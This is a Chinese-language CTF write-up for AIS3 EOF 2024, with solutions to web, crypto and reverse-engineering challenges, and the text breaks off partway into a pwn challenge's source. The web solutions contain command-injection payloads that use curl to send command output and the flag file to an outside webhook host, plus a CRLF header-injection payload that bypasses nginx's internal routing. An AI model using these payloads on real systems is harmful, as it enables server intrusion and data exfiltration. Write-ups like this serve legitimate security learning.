Try   HackMD

AIS3 EOF 2024

tags: CTF

  • 名次: 24 / 245

以第一次打 EOF 來說我覺得不錯了,希望明年能進前十

scordboard


Misc

Welcome

Welcome to AIS3 EOF 2024.

Join the Discord

加入 discord & 設定好身分組之後,在 2024-Qual 的 #announcement 頻道就能看到 flag

flag

AIS3{W3lc0mE_T0_A1S5s_EOF_2o24}

Web

DNS Lookup Tool: Final

Instancer: http://10.105.0.21:21000/

flag 擺在根目錄

這題是 h4ck3r 的類似題目,總之是一個可以查 DNS 的網站,但是在之前的版本中有 command injection 的漏洞

mainpage

以下是他的 source code 的關鍵部分,可以看到他仍使用黑名單的方式進行過濾,包含像是 |, &, ;, >, <, \n, 等常見的 payload 字元,此外還有 flag, *, ? 這些

<?php
$blacklist = ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?'];
$is_input_safe = true;
foreach ($blacklist as $bad_word)
    if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false;

if ($is_input_safe) {
    $retcode = 0;
    $output = [];
    exec("host {$_POST['name']}", $output, $retcode);
    if ($retcode === 0) {
        echo "Host {$_POST['name']} is valid!\n";
    } else {
        echo "Host {$_POST['name']} is invalid!\n";
    }
}
else echo "HACKER!!!";
?>

但可以看到他沒有過濾 $() 以及 "`" (backtick) 字元,因此我們還是有辦法透過這些字元來 bypass 過濾進而執行指令

不過由於他不會將執行結果回傳給我們,只會說是 valid 或是 invalid,因此我們需要找一個可以讓他回傳結果的方式,而這邊我是利用之前 CGGC 的 bossti 那時的方法,使用 curl 來將指令的結果送到 webhook 上,一個 POC 的 payload 如下

`curl -d $(whoami) https://webhook.site/e5ee9b37-3b0f-4cce-a180-ca0237596df7`

whoami

可以看到我們確實收到了資料,代表我們的確可以用這個方法來取得指令的結果,不過當我測試一些會輸出多行結果的指令如 ls -al 時發現資料不會傳回來,跟 CGGC 那時一樣,不過這時我們沒有 | 可以包成 base64 了

而經過一些測試之後,我發現只要將執行指令的 $() 外面包上雙引號即可正常的回傳資料了,而因此我們可以更肆無忌憚地執行任意的指令

由於 flag 在根目錄,首先我先用 ls / 來看一下根目錄的內容

`curl -d "$(ls /)" https://webhook.site/e5ee9b37-3b0f-4cce-a180-ca0237596df7`

ls_root

可以看到 flag 檔案的名稱是 flag_CV3BZGq43QmVxKCd,因此使用以下的 payload 即可取得 flag 的內容,這邊我用 '' 會串接字串的方式繞過 flag 這個關鍵字的偵測

`curl -d "$(cat /fl''ag_CV3BZGq43QmVxKCd)" https://webhook.site/e5ee9b37-3b0f-4cce-a180-ca0237596df7`

flag

AIS3{jU$T_3@SY_cOmM4ND_InJ3c7I0N}

Internal

The flag is for internal use only!

Author: maple3142

http://10.105.0.21:24000/

file: internal.tar.gz

首先一進入網頁,可以看到只會單純的印出 Hello world!,沒有其他的了,因此這邊我們只好先來看一下原始碼

mainpage

程式碼的部分如下

# default.conf
server {
    listen       7778;
    listen  [::]:7778;
    server_name  localhost;

    location /flag {
        internal;
        proxy_pass http://web:7777;
    }

    location / {
        proxy_pass http://web:7777;
    }
}

首先在 nginx 的 default.conf 可以看到,他在瀏覽時會將所有的請求都轉發到 http://web:7777,不過當路徑為 /flag 時,會設定 internal 代表這個請求只能由內部來訪問,因此當我們直接訪問時會出現以下的 404 Not Found 錯誤

flagroute

# server.py
URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?")
class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/flag":
            self.send_response(200)
            self.end_headers()
            self.wfile.write(FLAG.encode())
            return
        query = parse_qs(urlparse(self.path).query)
        redir = None
        if "redir" in query:
            redir = query["redir"][0]
            if not URL_REGEX.match(redir):
                redir = None
        self.send_response(302 if redir else 200)
        if redir:
            self.send_header("Location", redir)
        self.end_headers()
        self.wfile.write(b"Hello world!")

server.py 的部分可以看到,如果我們成功的訪問到了 /flag 的話,他會回傳 FLAG 的內容,而另外在其他路徑中,假如有 redir 的參數的話,他會將我們的請求重新導向到 redir 的網址,而他也會去檢查 redir 的內容是否符合 URL_REGEX 的格式

不過這邊的檢查只會去判斷 redir 是不是有長得像 url 的格式出現,而沒有更進一步的檢查了,此外我們可以看到這個 redir 會使用 self.send_header("Location", redir) 來設定到 response header 的部分,因此這邊我們可以發現有 CRLF injection 的漏洞,讓我們可以注入任意的 header

以下是測試的 payload

/?redir=http://localhost:7778/flag%0d%0aA:%20B

test_inject

可以看到我們確實能去竄改 response header 的部分

而根據這篇文章可以看到,只要在 response header 中有一項 X-Accel-Redirect 的 header,nginx 就會將這個請求轉發到 internal 的部分,因此我們可以透過這個方式來繞過 internal 的限制

因此我們可以透過以下的 payload 來取得 flag

/?redir=http://localhost:7778/flag%0d%0aX-Accel-Redirect:%20/flag

flag

AIS3{JU$T_sOm3_fuNny_n91nx_FEature}

Crypto

Baby AES

These block cipher operation modes are very similar to stream ciphers. Are you familiar with them?

Author: AnJ

nc chal1.eof.ais3.org 10003

file: AES.py

以下是題目原始碼

AES_enc = AES.new(urandom(16), AES.MODE_ECB).encrypt
def AES_CFB (iv, pt):
    ct = b""
    for i in range(0, len(pt), 16):
        _ct = XOR(AES_enc(iv), pt[i : i + 16])
        iv = _ct
        ct += _ct
    return ct

def AES_OFB (iv, pt):
    ct = b""
    for i in range(0, len(pt), 16):
        iv = AES_enc(iv)
        ct += XOR(iv, pt[i : i + 16])
    return ct

def AES_CTR (iv, pt):
    ct = b""
    for i in range(0, len(pt), 16):
        ct += XOR(AES_enc(iv), pt[i : i + 16])
        iv = counter_add(iv)
    return ct

首先我們可以看到,他定義了一個 ECB mode 的 AES,並實作了三種不同的區塊加密模式

if __name__ == "__main__":
    counter = urandom(16)
    
    c1 = urandom(32)
    c2 = urandom(32)
    c3 = XOR(XOR(c1, c2), FLAG)
    print(f"DEBUG c1: {b64encode(c1)}, c2: {b64encode(c2)}, c3: {b64encode(c3)}, counter: {b64encode(counter)}")
    print( f"c1_CFB: ({b64encode(counter)}, {b64encode(AES_CFB(counter, c1))})" )
    counter = counter_add(counter)
    print( f"c2_OFB: ({b64encode(counter)}, {b64encode(AES_OFB(counter, c2))})" )
    counter = counter_add(counter)
    print( f"c3_CTR: ({b64encode(counter)}, {b64encode(AES_CTR(counter, c3))})" )
    
    for _ in range(5):
        try:
            counter = counter_add(counter)
            mode = input("What operation mode do you want for encryption? ")
            pt = b64decode(input("What message do you want to encrypt (in base64)? "))
            pt = pt.ljust( ((len(pt) - 1) // 16 + 1) * 16, b"\x00")
            if mode == "CFB":
                print( b64encode(counter), b64encode(AES_CFB(counter, pt)) )
            elif mode == "OFB":
                print( b64encode(counter), b64encode(AES_OFB(counter, pt)) )
            elif mode == "CTR":
                print( b64encode(counter), b64encode(AES_CTR(counter, pt)) )
            else:
                print("Sorry, I don't understand.")
        except:
            print("??")
            exit()

接著在主程式的部分可以看到他會生成一個隨機的 16 bytes counter 與兩個隨機的 32 bytes 的字串 c1c2,並將他們與 flag 做 xor 之後存放於 c3 中,並且會對於 c1, c2, c3 分別使用 CFB, OFB, CTR 這三種模式加密,最後會將他們的結果印出來,此外在每次的加密之後,counter 會被加一

而當他把結果印出來之後,程式會進入一個可以執行 5 次的迴圈,而在每次的迴圈中,首先他會將 counter 加上 1 之後讓我們可以做一次加密,並且會讓我們選擇要使用 CFB, OFBCTR 模式,我們只要將輸入包成 base64 之後送進去即可。當他運算完之後,會將 counter 與加密後的結果印出來

而從上面的程式碼可以觀察到,這個程式有一些漏洞,首先他只會使用同一個 AES 做加密,因此不管是在哪一個模式下只要 AES 的輸入相同都會得到相同的 AES 輸出,而另外一個漏洞是在像是 CTR 模式中,雖然在函式中有做 counter_add 的動作,但是由於函式中沒有設定是 global 的 counter,因此每次在主程式中的 counter 不會受到子函式裡面的影響,也就是說 counter 的值有可能會被重複使用

因此,我們可以利用這兩個漏洞來進行攻擊,我們首先可以先使用 CTR mode 並設定輸入是 \x00 * 16 * 5 個 bytes,而這麼一來在輸出的部分我們就能直接拿到 AES 的輸出,也就是 AES(init_counter+3), AES(init_counter+4), , AES(init_counter+7) 的值

senddata(b"CTR", b"\x00"*16*5)
counter4, data = readdata()

# AES(counter4) = data[0:16]
# AES(counter5) = data[16:32]
# AES(counter6) = data[32:48]
# AES(counter7) = data[48:64]
# AES(counter8) = data[64:80]

而接下來回到主程式執行第二次的迴圈,此時 counter 變成 init_counter+4,而我們也知道了 AES(init_counter+4) 的值,因此我們可以透過修改 plaintext 變成 AES(init_counter+4)^(init_counter+0) 並串接一個 \x00 * 16 的字串,這麼一來我們就能控制 CFB mode 的第二個 block 的 AES 輸入是 init_counter+0,我們也就能在第二個 block 的輸出中拿到 AES(init_counter+0) 的值,我們也就能與 CFB(c1) 的前 16 bytes 做 xor 操作取得 c1 前 16 bytes 的值 (當然我們也可以直接在第二個 block 的輸入設定成是 CFB(c1) 的前 16 bytes,這麼一來直接在輸出部分就能拿到 c1 前 16 bytes 的值了)

senddata(b"CFB", xor(data[16:32], counter1)+c1)
_, c1_data = readdata()
assert c1_data[:16] == counter1
c1_plain_upper = c1_data[16:32]

而接下來在第三次迴圈,我們要來復原 c1 的後 16 bytes,此時 counterinit_counter+5,我們可以透過前面那樣的方式控制 CFB mode 的第二個 block 的 AES 輸入是 CFB(c1) 的前 16 bytes,就如同一般的 CFB mode 那樣,而我們在第二個 block 的輸入中一樣也是給 \x00 * 16 bytes 的字串,此時我們就能在第二個 block 的輸出中拿到之前在 CFB 加密時的第二個 block 的 AES 輸出一樣的數值,而我們只要再將該數值與 CFB(c1) 的後 16 bytes 做 xor 操作,就能得到 c1 的後 16 bytes 的值 (當然我們也可以像是前面那樣直接在第二個 block 的輸入設定成是 CFB(c1) 的後 16 bytes 直接拿結果)

senddata(b"CFB", xor(data[32:48], c1[0:16])+c1[16:32])
_, c1_2_data = readdata()
assert c1_2_data[:16] == c1[0:16]
c1_plain_lower = c1_2_data[16:32]

此時我們已經復原了 c1 的值

接下來在第四次迴圈,我們需要恢復 c2 的值,此時 counterinit_counter+6,我們可以從 OFB 的架構圖看到我們需要 AES(counter+1) 以及 AES(AES(counter+1)) 的值,而我們可以像是前面一樣依樣畫葫蘆修改 CFB mode 第二個 block 的 AES 輸入為 AES(counter+1),並且在第二個 block 的輸入中給 \x00 * 16 bytes 的字串,這樣一來我們就能在第二個 block 的輸出中拿到 AES(counter+1) 的值,而此時由於 CFB mode 的規則,他會將輸出的 AES(counter+1) 餵給第 3 個 block 的 AES 輸入,因此我們在設定第 3 個 block 的輸入一樣給 \x00 * 16 bytes 的字串,這樣一來我們就能在第 3 個 block 的輸出中拿到 AES(AES(counter+1)) 的值,而我們只要將 AES(counter+1)OFB(c2) 的前 16 bytes 做 xor 操作,並再拿 AES(AES(counter+1))OFB(c2) 的後 16 bytes 做 xor 操作,兩者串接起來就能得到 c2 的值了

senddata(b"CFB", xor(data[48:64], counter2)+b"\x00"*32)
_, c2_data = readdata()
assert c2_data[:16] == counter2
c2_plain_upper = xor(c2_data[16:32], c2[:16])
c2_plain_lower = xor(c2_data[32:48], c2[16:32])
c2_plain = c2_plain_upper + c2_plain_lower

在最後第五次的迴圈,我們必須得要復原 c3 的值了,此時 counterinit_counter+7,而從 CTR 架構圖中可以看到我們需要 AES(counter+2)AES(counter+3) 的值,後者我們已經從第一次迴圈的輸出中拿到了,而前者我們就像是前面一樣修改 CFB mode 第二個 block 的 AES 輸入為 AES(counter+2),並且在第二個 block 的輸入中給 \x00 * 16 bytes 的字串,這樣一來我們就能在第二個 block 的輸出中拿到 AES(counter+2) 的值,我們只要將 AES(counter+2)CTR(c3) 的前 16 bytes 做 xor 操作,並再拿 AES(counter+3)CTR(c3) 的後 16 bytes 做 xor 操作,兩者串接起來就能得到 c3 的值了

senddata(b"CFB", xor(data[64:80], counter3)+b"\x00"*16)
_, c3_data = readdata()
assert c3_data[:16] == counter3
c3_plain_upper = xor(c3[0:16], c3_data[16:32])
c3_plain_lower = xor(c3[16:32], data[0:16])
c3_plain = c3_plain_upper + c3_plain_lower

因此有了 c1, c2, c3,我們只要去做 xor 後即可復原 flag

以下是完整的解題程式碼

from pwn import *
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
import base64

context.log_level = 'debug'

conn = remote('chal1.eof.ais3.org', 10003)
# conn = process(["python", "AES.py"])

def readdata():
    conn.recvuntil(b"'")
    counter = base64.b64decode(conn.recvuntil(b"'"))
    conn.recvuntil(b"'")
    data = base64.b64decode(conn.recvuntil(b"'"))
    return counter, data

def senddata(mode: bytes, data: bytes):
    conn.sendlineafter(b"encryption? ", mode)
    conn.sendlineafter(b"base64)? ", base64.b64encode(data))

# print(conn.recvline())
counter1, c1 = readdata()
counter2, c2 = readdata()
counter3, c3 = readdata()

senddata(b"CTR", b"\x00"*16*5)
counter4, data = readdata()

# AES(counter4) = data[0:16]
# AES(counter5) = data[16:32]
# AES(counter6) = data[32:48]
# AES(counter7) = data[48:64]
# AES(counter8) = data[64:80]

senddata(b"CFB", xor(data[16:32], counter1)+c1)
_, c1_data = readdata()
assert c1_data[:16] == counter1
c1_plain_upper = c1_data[16:32]

senddata(b"CFB", xor(data[32:48], c1[0:16])+c1[16:32])
_, c1_2_data = readdata()
assert c1_2_data[:16] == c1[0:16]
c1_plain_lower = c1_2_data[16:32]

c1_plain = c1_plain_upper + c1_plain_lower

senddata(b"CFB", xor(data[48:64], counter2)+b"\x00"*32)
_, c2_data = readdata()
assert c2_data[:16] == counter2
c2_plain_upper = xor(c2_data[16:32], c2[:16])
c2_plain_lower = xor(c2_data[32:48], c2[16:32])
c2_plain = c2_plain_upper + c2_plain_lower

senddata(b"CFB", xor(data[64:80], counter3)+b"\x00"*16)
_, c3_data = readdata()
assert c3_data[:16] == counter3
c3_plain_upper = xor(c3[0:16], c3_data[16:32])
c3_plain_lower = xor(c3[16:32], data[0:16])
c3_plain = c3_plain_upper + c3_plain_lower

# AES(counter3) = c3_data[16:32]

print(f"c1_plain = {c1_plain}")
print(f"c2_plain = {c2_plain}")
print(f"c3_plain = {c3_plain}")
print(f"flag = {xor(c1_plain, c2_plain, c3_plain)}")

flag

AIS3{_Bl0Ck_C1PheR_mOde_m@StEr_}

Baby RSA

I've created a server to receive your messages, but I can't bear your perfect messages, so I want to somehow alter them. Can you still recover or even decrypt them?

Author: AnJ

nc chal1.eof.ais3.org 10002

file: BabyRSA.py

以下是題目原始碼

def encrypt(m, e, n):
    enc = pow(bytes_to_long(m), e, n)
    return enc

def decrypt(c, d, n):
    dec = pow(c, d, n)
    return long_to_bytes(dec)

if __name__ == "__main__":
    
    while True:
        p = getPrime(1024)
        q = getPrime(1024)
        n = p * q
        phi = (p - 1) * (q - 1)
        e = 3
        if phi % e != 0 : 
            d = pow(e, -1, phi)
            break
    
    print(f"{n=}, {e=}")
    print("FLAG: ", encrypt(FLAG, e, n))
    
    for _ in range(3):
        try:
            c = int(input("Any message for me?"))
            m = decrypt(c, d, n)
            print("How beautiful the message is, it makes me want to destroy it .w.")
            new_m = long_to_bytes(bytes_to_long(m) ^ bytes_to_long(os.urandom(8)))
            print( "New Message: ", encrypt(new_m, e, n) )
        except:
            print("?")
            exit()

可以看到首先他生成了 RSA 的參數,他要兩個 1024 bits 的質數作為 p, q,並且設定 e 為 3,而後他會將公鑰以及 flag 的加密結果印出來

接著程式讓我們可以做三次的迴圈,在每次迴圈中他會幫我們做解密的動作,並且會將解密後的結果與一個隨機的 8 bytes 的字串做 xor 之後再將結果加密印出來

這題我使用了 unintended 的解法,首先我們知道他的公鑰指數非常的小只有 3,而我們也知道在每次的連線中都會產生不同的 n 參數,而也就成為了一個非常經典的 Broadcast Attack 題目

Broadcast Attack 的原理是這樣的,假設我們有三個不同的 n,分別為

n1,
n2
,
n3
,而他們有相同的
m<min(n1,n2,n3)
以及共同的
e=3
,因此我們就有了三個不同的 c,分別為
c1
,
c2
,
c3
,而我們也知道
c1=m3modn1
,
c2=m3modn2
,
c3=m3modn3
,因此我們可以透過中國剩餘定理 CRT 來解方程式,而我們就能得到
m3mod(n1×n2×n3)
的值

而由於

m<min(n1,n2,n3),因此我們可以知道
m3<min(n1,n2,n3)3n1×n2×n3
,因此這邊我們可以將前面的結果視同於
m3
,因此我們只要將
m3
開立方根就能得到
m
的值了,也就是 flag

以下是完整的解題腳本

from pwn import *
from Crypto.Util.number import *
from sage.all import CRT
from gmpy2 import iroot

context.log_level = "info"

def getEnc():
    # conn = process(["python", "RSA.py"])
    conn = remote("chal1.eof.ais3.org", 10002)

    conn.recvuntil(b"n=")
    n = int(conn.recvuntil(b",")[:-1])
    conn.recvuntil(b"e=")
    e = int(conn.recvline().strip())
    conn.recvuntil(b"FLAG: ")
    c = int(conn.recvline().strip())
    return n,e,c

n = []
c = []
for _ in range(3):
    n_, e_, c_ = getEnc()
    n.append(n_)
    c.append(c_)

flag_3 = CRT(c, n)
flag,check = iroot(flag_3, 3)
assert check
print(long_to_bytes(flag))

flag

AIS3{C0pPer5mItHs_Sh0r7_P@D_a7t4CK}

預期解應該是用 coppersmith short pad attack 來解

Baby Side Channel Attack

I implemented a simple RSA encryption & decryption routine in Python and used the trace module to debug it. I hope it doesn't leak any important info.

Note: The int in Python is actually pretty slow, consider using specialized software such as GMP or Sagemath if your solver is taking too much time.

Author: maple3142

file: `chall.py`, `trace.txt.xz`

以下是題目原始碼

def powmod(a, b, c):
    r = 1
    while b > 0:
        if b & 1:
            r = r * a % c
        a = a * a % c
        b >>= 1
    return r

def keygen(b):
    p = getPrime(b // 2)
    q = getPrime(b // 2)
    n = p * q
    e = 65537
    d = pow(e, -1, (p - 1) * (q - 1))
    return n, e, d

def main():
    flag = os.environ.get("FLAG", "not_flag{just_test}").encode()

    n, e, d = keygen(2048)
    m = bytes_to_long(flag)

    c = powmod(m, e, n)
    assert powmod(c, d, n) == m
    print(f"{c = }")

    ed = powmod(e, d, n)
    de = powmod(d, e, n)
    print(f"{ed = }")
    print(f"{de = }")


if __name__ == "__main__":
    main()
    # to generate trace.txt.gz:
    # execute `python -m trace --ignore-dir=$(python -c 'import sys; print(":".join(sys.path)[1:])') -t chall.py | gzip > trace.txt.gz`

可以看到他是一個 RSA 的加密程式,會生成 2048 bits 的 RSA 參數,並且會將 flag 加密之後的結果印出來,而他也會印出

ed 以及
de
的結果,程式本身沒有漏洞

而另外一個檔案 trace.txt 的內容如下,可以看到他會記錄每一行執行的程式碼

trace

而我們可以從前面的程式看到,他計算 powmod 的方式是使用 Exponentiation by squaring 的方式,也就是說他會將指數轉換成二進位的形式,並且從最低位元開始計算,當遇到 1 時就會將結果乘上

a,而在每次計算之後都會將
a
做平方

而因此我們可以透過這個特性來得知每一個 bit 的值,得到 powmod 的指數部分的值,而我們也可以看到在程式中有使用到 powmod(m, e, n) 以及 powmod(c, d, n),因此我們就能得到

e
d
的值了

不過在程式中他沒有輸出 n 的值,因此我們還沒辦法快樂的去解 RSA,不過我們可以透過

ed 以及
de
來得到
n
的值,因為我們可以知道
ededmodn
以及
dedemodn
,因此我們可以知道
eded=k1×n
以及
dede=k2×n
,對二者做 GCD 就能得到
n
的值了,在經過 RSA 的解密計算之後我們就能得到 flag

以下是我的解題腳本,由於出題者有提到 int 在 python 中的運算速度很慢,因此需要使用了 gmpy2 來加速運算,不過儘管如此我還是花了大概 1 ~ 2 個小時才跑出來,不知道是不是哪裡出了問題

from param import c, ed, de
import gmpy2
e = 0
d = 0
temp_power_e = 0
temp_power_d = 0

with open('trace.txt') as fh:
    for i in range(21):
        fh.readline()
    while True:
        line = fh.readline()
        if " --- " in line:
            break
        if "(9)" in line:
            e += 1 << temp_power_e
        if "(11)" in line:
            temp_power_e += 1
    while True:
        line = fh.readline()
        if " --- " in line:
            break
        if "(9)" in line:
            d += 1 << temp_power_d
        if "(11)" in line:
            temp_power_d += 1

print(f"{e = }")
print(f"{d = }")

# n = GCD(e^d - ed, d^e - de)
x = gmpy2.mpz(d)**e - gmpy2.mpz(de)
n = gmpy2.gcd(gmpy2.powmod(e, d, x) - ed % x, x)
print(f"{n = }")

flag = pow(c, d, n)
print(f"flag = {flag}")

flag

拿到 flag 的數值之後,我們只要將他轉成 bytes 就能得到 flag 了

flag2

AIS3{51D3_Ch@NneL_15_E4sy_WhEN_7H3_D@TA_LE@ka9E_1s_exAct}

Reverse

Flag Generator

It's that simple: a flag generator.

Flag Format: put the output in the flag format, e.g., AIS3{output_here}.

Author: Ice1187

file: flag_generator

首先我們先將 binary 放進 IDA 做分析,以下是 main 函式的部分

main
main2

可以看到他會做 calloc 分配一塊記憶體,並在一些位置上塞入看起來像是 elf 的相關格式的東東。此外也塞入了 shellcode 的部分,而最後程式會將這塊記憶體寫入 flag.exe

一個簡單分析裡面的 shellcode 的方法是直接去執行這個程式讓他產生 flag.exe 再作分析,不過實際上去執行後會發現檔案裡面是空的,而從以下的 writeFile 程式碼中可以發現他根本就不會寫入任何東西

writefile

因此我們只好直接的來分析 shellcode 的部分,不過可以發現 IDA 把它解壞了,變成從中間開始解析,因此我們需要將中間這些解析完成的部分先用 u 還原成 raw bytes 之後在開頭的地方再來用 c 來重新解析

shellcode_initial

解析完成之後我們就能看到一些特別的字串出現了

shellcode

而為了讓我們更方便的分析,我們可以在 shellcode 的地方按 P 讓他重新分析函式。而此時我們就能從 main -> shellcode 的地方看到一個 SHELLCODE_0 的函式,裡面就是 shellcode 的完整邏輯了

shellcode_0

我們可以從程式碼中猜到這個 shellcode 會使用 kernel32.dllLoadLibraryA 函式來載入 user32.dllMessageBoxA 函式,很可能他是要顯示一個 message box,而 message box 的文字部分則是一串寫在程式碼中的數值與 PAIN~~!! 的字串計算一些公式之後做 xor 的解密,而經過測試這個公式其實就等同於一般的 xor 加密而已

因此,我們可以寫一個簡單的程式來解密,以下是解題腳本,執行完之後就能拿到 flag

from pwn import xor

flag_enc = bytes.fromhex("55 65 78 20 19 21 76 68 1e 25 79 39 2d 21 68 14 0f 32 3c 2d 16 21 61 7e 00 01 78 20 50 50 0f 0f")
v6 = b"PAIN~~!!"

flag_enc_bytearr = bytearray(flag_enc)
for i in range(1, len(flag_enc_bytearr)):
    flag_enc_bytearr[i] ^= v6[(i) & 7]
    i += 1
print(flag_enc_bytearr.decode())

flag

AIS3{U$1ng_WINd0wS_I5_such_@_P@1n....}

附上我拿 firstblood 的圖

firstblood

PixelClicker

Someone told me revese challenge can be solved within two clicks... Try this!

Author: TwinkleStar03

file: pixelclicker.exe

首先老樣子我們先將程式丟進 IDA 分析,以下是進入點 WinMain 的部分

winmain

可以看到他有使用到 CreateWindowExW 的函式,應該是一個視窗型程式,而我們可以從文件中知道 lpfnWndProc 就是該視窗程式的 callback 函式,裡面會有相關的邏輯,我們可以追入看看

首先我們可以先來看一下該函式的下半部分,如下

winproc
winproc2

可以看到這邊是一些處理各事件的邏輯,包含像是說關閉視窗、滑鼠點擊、滑鼠移動等等,可以看到基本上沒有與 flag 太相關的部分,頂多是說在點擊時會設定 pixel 以及將一個變數做 +1

而接著我可以來看一下這個函式上半部分,如下

winproc3

可以看到當前面的變數模 600 餘一時,他會執行中間的這段程式,首先會呼叫 sub_140001A60 的函式,並會做一些事情之後進到 27 行的迴圈中並做一些比較,當比較只要不通過時就會輸出 You are bad at clicking pixels 的訊息,而只要比較完 360000 個 pixel 並且都通過時就會輸出 Perdect Match 的訊息,可以看到這是比較關鍵的部分了

而不過在 sub_140001A60 的程式部分較為複雜,我只看得出是去 resource 的部分取得一些資料出來做一些運算,因此我這邊沒有繼續去逆該函式,而是使用動態分析的方法取得資料出來

首先我們可以知道第 10 行的資料應該是程式預期的資料結果,因此我們可以嘗試去 dump 出來,這邊我使用了 x64dbg 下中斷在這個位置 (透過自動中斷於程式進入點得知 code base address 之後去計算 offset 得知要中斷的位置,使用 bp 指令進行中斷),之後我使用 Cheat Engine 透過抓數值的方式去找出 dword_140005708 這個代表點擊次數的變數的所在位置,並且去修改他的值成為 359995 之類的,只要我們再點擊個幾下之後就會因為程式邏輯而進入到這個中斷點,此時再利用外掛的 scylla 來 dump 出該位置的記憶體 (Scylla -> File -> dump memorySize 的部分寫一個足夠大的數字即可,這邊我填的是 0x01000000),我們就能拿到要比較的資料了

而我們可以猜得到這個資料應該是一個圖片的每個 bits,且大小應該是 600 * 600,因此我寫了一個簡單的程式來將他轉成圖片,以下是程式的部分

import numpy as np
import PIL.Image as Image
import matplotlib.pyplot as plt
data = open("./MEM_000002760D27E000_01000000.mem", "rb").read()

# 4 byte a pixel -> RGBA
row = 600
col = 600
channel = 4
offset = 0x80

img = Image.frombytes("RGBA", (col, row), data[offset:])
# flip
img = img.transpose(Image.FLIP_TOP_BOTTOM)
img_array = np.array(img)

plt.imsave("./temp.png", img_array)

而經過一些測試與修改之後,我找到了最佳的參數並拿到了一張圖片,flag 在圖片中 (雖然我不知道為什麼圖片是綠色的就是了)

flag

AIS3{ju$t_4_5iMPlE_clICKEr_9@m3}

Stateful

Fully stateful machine!

Author: TwinkleStar03

file: stateful.exe

首先一樣我們先將 binary 丟進 IDA 做分析,以下是 main 函式的部分

main

可以看到首先程式會將 argv 輸入的部分複製到 dest 陣列中,並會將這個陣列傳入 state_machine 的函式,最後會比較執行完之後 dest 陣列值是否與 k_target 相同,相同的話就會輸出 Correct!!! 否則輸出 Wrong!!!

以下是 state_machine 的函式

state_machine
state_machine2

首先可以看到他會定義一些 state 之後,根據 v5 的值執行不同的函式,並在最後更新 v5 成下一個 state 直到沒有遇到匹配的 state 為止

而以下是每個 state 會執行的函式的範例,可以看到基本上就是單純的對陣列做操作而已

state

而我們可以嘗試使用 angr 來解,畢竟他沒有太多的 IO,也沒有太多的分支,設定得宜的話應該是可以解出來,不過我實際去測試時發現會執行較久,可能有待優化,因此我採用另一個比較辛苦的方式來解題

首先我們可以用工人智慧的方式去慢慢地將 state 的運算順序取出來,並使用 z3 的方式來設定輸入的 symbol,並根據運算的順序去操作這些符號,最後設定結果要等同於 k_target 的值來做約束,如此一來應該就可以解出原始輸入的 flag

以下是解題的腳本,中間的部分是我取出來的運算順序,執行完之後就能拿到 flag 了

from z3 import *

s = Solver()
flag = [BitVec(f'flag_{i}', 8) for i in range(43)]

flag[14] += flag[35] + flag[8]
flag[9] -= flag[2] + flag[22]
flag[0] -= flag[18] + flag[31]
flag[2] += flag[11] + flag[8]
flag[6] += flag[10] + flag[41]
flag[14] -= flag[32] + flag[6]
flag[16] += flag[25] + flag[11]
flag[31] += flag[34] + flag[16]
flag[9] += flag[11] + flag[3]
flag[17] += flag[0] + flag[7]
flag[5] += flag[40] + flag[4]
flag[37] -= flag[29] + flag[3]
flag[23] += flag[7] + flag[34]
flag[39] -= flag[25] + flag[38]
flag[27] += flag[18] + flag[20]
flag[20] += flag[19] + flag[24]
flag[15] += flag[22] + flag[10]
flag[30] -= flag[33] + flag[8]
flag[1] -= flag[29] + flag[13]
flag[19] += flag[10] + flag[16]
flag[0] += flag[33] + flag[16]
flag[36] += flag[11] + flag[15]
flag[24] += flag[20] + flag[5]
flag[7] += flag[21] + flag[0]
flag[1] += flag[15] + flag[6]
flag[30] -= flag[13] + flag[2]
flag[1] += flag[16] + flag[40]
flag[31] += flag[1] + flag[16]
flag[32] += flag[5] + flag[25]
flag[13] += flag[25] + flag[28]
flag[7] += flag[10] + flag[0]
flag[21] += flag[34] + flag[15]
flag[21] -= flag[13] + flag[42]
flag[18] += flag[29] + flag[15]
flag[4] += flag[7] + flag[25]
flag[0] += flag[28] + flag[31]
flag[2] += flag[34] + flag[25]
flag[13] += flag[26] + flag[8]
flag[41] -= flag[3] + flag[34]
flag[37] += flag[27] + flag[18]
flag[4] += flag[27] + flag[25]
flag[23] += flag[30] + flag[39]
flag[18] += flag[26] + flag[31]
flag[10] -= flag[12] + flag[22]
flag[4] += flag[6] + flag[22]
flag[37] += flag[12] + flag[16]
flag[15] += flag[40] + flag[8]
flag[17] += flag[38] + flag[24]
flag[8] += flag[14] + flag[16]
flag[5] += flag[37] + flag[20]

k_target =[
    0xA5, 0x98, 0xCC, 0x33, 0x76, 0x62, 0x33, 0x4B, 0xDD, 0x22, 
    0xA4, 0x55, 0x5F, 0xA7, 0x63, 0xE0, 0x1B, 0xBA, 0xB5, 0xCF, 
    0xFA, 0xB0, 0x6C, 0x8E, 0x38, 0x72, 0x5F, 0x2D, 0x37, 0x40, 
    0x49, 0x54, 0xAD, 0x65, 0x53, 0x24, 0x02, 0x79, 0x74, 0x60, 
    0x33, 0xCC, 0x7D
]

for i in range(43):
    s.add(flag[i] == k_target[i])

print(s.check())
if s.check() == sat:
    m = s.model()
    print(m)

    y = [v.as_long() for k,v in sorted([(d, m[d]) for d in m], key = lambda x: int(x[0].name().split('_')[1]))]

    print(bytes(y))

flag

AIS3{Ar3_YoU_@_sTAtEful_Or_S7@T3LeS$_CtF3R}

Pwn

jackpot

You need to be lucky to get jackpot!

flag 在根目錄窩

Author: YingMuo

http://chal1.eof.ais3.org:12000/

file: jackpot_release.zip

以下是題目原始碼節錄

struct sock_filter seccompfilter[]={
	BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField),
	BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
	BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
	BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum),
	Allow(open),
	Allow(openat),
	Allow(read),
	Allow(write),
	Allow(close),
	Allow(readlink),
	Allow(getdents),
	Allow(getrandom),
	Allow(brk),
	Allow(rt_sigreturn),
	Allow(exit),
	Allow(exit_group),
	BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
};

void jackpot()
{
	puts("Here is your flag");
	printf("%s\n", "flag{fake}");
